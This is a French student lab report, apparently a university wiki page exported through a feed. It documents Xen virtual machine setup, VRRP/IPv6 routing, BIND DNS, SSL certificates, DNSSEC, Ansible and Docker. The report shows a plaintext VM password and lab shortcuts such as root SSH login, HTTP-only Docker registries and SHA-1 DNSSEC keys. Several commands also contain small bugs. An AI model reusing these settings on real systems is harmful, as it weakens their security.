Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/resolv.conf : &lt;br /&gt;
&lt;br /&gt;
 domain plil.info&lt;br /&gt;
 nameserver 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/systcl.conf :&lt;br /&gt;
&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance les commandes : &lt;br /&gt;
&lt;br /&gt;
 apt install iptables-persistent&lt;br /&gt;
&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/conf/all/forwarding&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32&lt;br /&gt;
&lt;br /&gt;
Pour tester : &lt;br /&gt;
&lt;br /&gt;
 ping 192.168.42.22 #sur la VM capreton&lt;br /&gt;
 ping 192.168.42.8  #sur la VM chassiron&lt;br /&gt;
 ping 8.8.8.8       #sur la VM chassiron&lt;br /&gt;
 apt update         #sur la VM chassiron&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x &amp;quot;entrée&amp;quot;) : &lt;br /&gt;
&lt;br /&gt;
 ssh-keygen -b 2048&lt;br /&gt;
&lt;br /&gt;
Ensuite, on propage notre clé publique sur toutes les VM secondaires : &lt;br /&gt;
 &lt;br /&gt;
 for i in $(cat liste_ip.txt); do echo ssh-copy-id root@&amp;quot;$i&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.&lt;br /&gt;
&lt;br /&gt;
Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
dans le fichier /etc/ssh/sshd_config.&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Nous passons à la configuration de nos serveurs Web. Nous utilisons pour cela le système ansible. &lt;br /&gt;
Nous commençons par installer ansible sur notre VM principale :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/ansible/hosts, nous créons un inventaire en séparant l’ensemble des serveurs externes du notre :&lt;br /&gt;
&lt;br /&gt;
 [vmperso]&lt;br /&gt;
 192.168.42.22&lt;br /&gt;
 &lt;br /&gt;
 [vmchassiron]&lt;br /&gt;
 192.168.42.15&lt;br /&gt;
 192.168.42.17 &lt;br /&gt;
 192.168.42.20  &lt;br /&gt;
 192.168.42.24 &lt;br /&gt;
 192.168.42.25 &lt;br /&gt;
 192.168.42.28&lt;br /&gt;
&lt;br /&gt;
'''Ansible rôle MOTD'''&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine &lt;br /&gt;
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous téléchargeons le rôle : &lt;br /&gt;
&lt;br /&gt;
 ansible-galaxy install adriagalin.motd&lt;br /&gt;
&lt;br /&gt;
Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron. Voici notre playbook (/etc/ansible/playbook.yml) : &lt;br /&gt;
&lt;br /&gt;
 Hosts : vmperso&lt;br /&gt;
 Roles:&lt;br /&gt;
       -{ role : adriagalin.motd }&lt;br /&gt;
&lt;br /&gt;
Nous exécutons ensuite notre playbook.yml :&lt;br /&gt;
&lt;br /&gt;
 ansible-playbook playbook.yml&lt;br /&gt;
&lt;br /&gt;
Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:host.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
'''Ansible rôle NTP'''&lt;br /&gt;
&lt;br /&gt;
==Installation de Docker==&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants : &lt;br /&gt;
&lt;br /&gt;
 ansible-galaxy install geerlingguy.docker&lt;br /&gt;
&lt;br /&gt;
Nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Play_docker-2.png | 600px ]]&lt;br /&gt;
&lt;br /&gt;
Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'un autre côté on installe docker sur notre VM principale, en lançant les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 apt install software-properties-common apt-transport-https ca-certificates curl gnupg2*&lt;br /&gt;
 &lt;br /&gt;
 curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -&lt;br /&gt;
 &lt;br /&gt;
 add-apt-repository \&lt;br /&gt;
   &amp;quot;deb [arch=amd64] https://download.docker.com/linux/debian \&lt;br /&gt;
   $(lsb_release -cs) \&lt;br /&gt;
   stable&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 apt install docker-ce docker-ce-cli containerd.io&lt;br /&gt;
&lt;br /&gt;
==Création du conteneur==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, dans notre VM principale, on fait le Dockerfile suivant (/root/docker/Dockerfile) : &lt;br /&gt;
&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 &lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 &lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On vérifie que tout est ok sur notre VM principale : &lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
 docker images&lt;br /&gt;
    REPOSITORY   TAG       IMAGE ID       CREATED          SIZE&lt;br /&gt;
    webserver    latest    892a7b9ac079   20 seconds ago   138MB&lt;br /&gt;
 &lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
 docker ps -a&lt;br /&gt;
    CONTAINER ID   IMAGE       COMMAND                 CREATED          STATUS          PORTS &lt;br /&gt;
    65f1bae129fe   webserver   &amp;quot;httpd -D FOREGROUND&amp;quot;   50 seconds ago   Up 45 seconds   80/tcp&lt;br /&gt;
&lt;br /&gt;
On voit que notre conteneur, qui intègrer tous les fichiers de notre site Web, a démarré apache2 automatiquement sur le port HTTP 80 classique.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe un dépôt docker local (Docker Registry) sur notre machine secondaire via la commande : &lt;br /&gt;
&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
Pour exporter notre image &amp;quot;webserver&amp;quot; sur le dépôt local, depuis notre VM principale on lance la commande suviante : &lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.22:5000/webserver&lt;br /&gt;
 docker push 192.168.42.22:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Pour récupérer cette image sur les VM secondaires, on fera (sur chassiron) : &lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.22:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Pour autoriser les connexions http pour les push/pull, on ajoute sur les deux VM le fichier de configuration suivant (/etc/docker/daemon.json) : &lt;br /&gt;
 &lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.15:5000&amp;quot;, &amp;quot;192.168.42.16:5000&amp;quot;, &amp;quot;192.168.42.17:5000&amp;quot;, &amp;quot;192.168.42.18:5000&amp;quot;, &amp;quot;192.168.42.19:5000&amp;quot;, &amp;quot;192.168.42.20:5000&amp;quot;, &amp;quot;192.168.42.21:5000&amp;quot;, &amp;quot;192.168.42.22:5000&amp;quot;, &amp;quot;192.168.42.23:5000&amp;quot;,   &amp;quot;192.168.42.24:5000&amp;quot;, &amp;quot;192.168.42.25:5000&amp;quot;, &amp;quot;192.168.42.26:5000&amp;quot;, &amp;quot;192.168.42.28:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour installer Docker Registry sur notre VM secondaire (et donc pour pouvoir faire docker pull), on utilisera ansible.&lt;br /&gt;
&lt;br /&gt;
'''utiliser le bon rôle, d'après le sujet de tp on doit utiliser &amp;quot;ansible docker_container&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
==Configuration des serveurs internes==&lt;br /&gt;
&lt;br /&gt;
==Equilibreur de charge==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54905</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54905"/>
				<updated>2020-12-17T16:30:14Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* Installation d'Ansible */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Informations générales=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6&lt;br /&gt;
|-&lt;br /&gt;
| https://www.piedbleu.site &lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
| 100.64.0.21&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
| 2001:660:4401:60ba::0/64 &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
&lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
&lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=Interconnexion de VLAN=&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv4==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.  &lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons en ssh à partir de notre VM:&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
ensuite :&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 address-family ipv4&lt;br /&gt;
 address 10.60.108.254&lt;br /&gt;
 preempt &lt;br /&gt;
 vrrpv2&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte avec exit et on sauvegarde avec write.&lt;br /&gt;
&lt;br /&gt;
La commande show vlan nous affiche bien notre VLAN configuré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 ip 10.60.108.254&lt;br /&gt;
 vrrp 48 preempt&lt;br /&gt;
 vrrp 48 priority 110&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv6==&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.1 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.2 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference Low&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
=Services Internet=&lt;br /&gt;
==Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un ssh sur les 2 routeurs, puis: &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
'''1ère étape: '''&lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).&lt;br /&gt;
&lt;br /&gt;
'''2ème étape:'''&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
'''3ème étape:'''&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix (configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce répertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande : &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==Sécurisation du serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
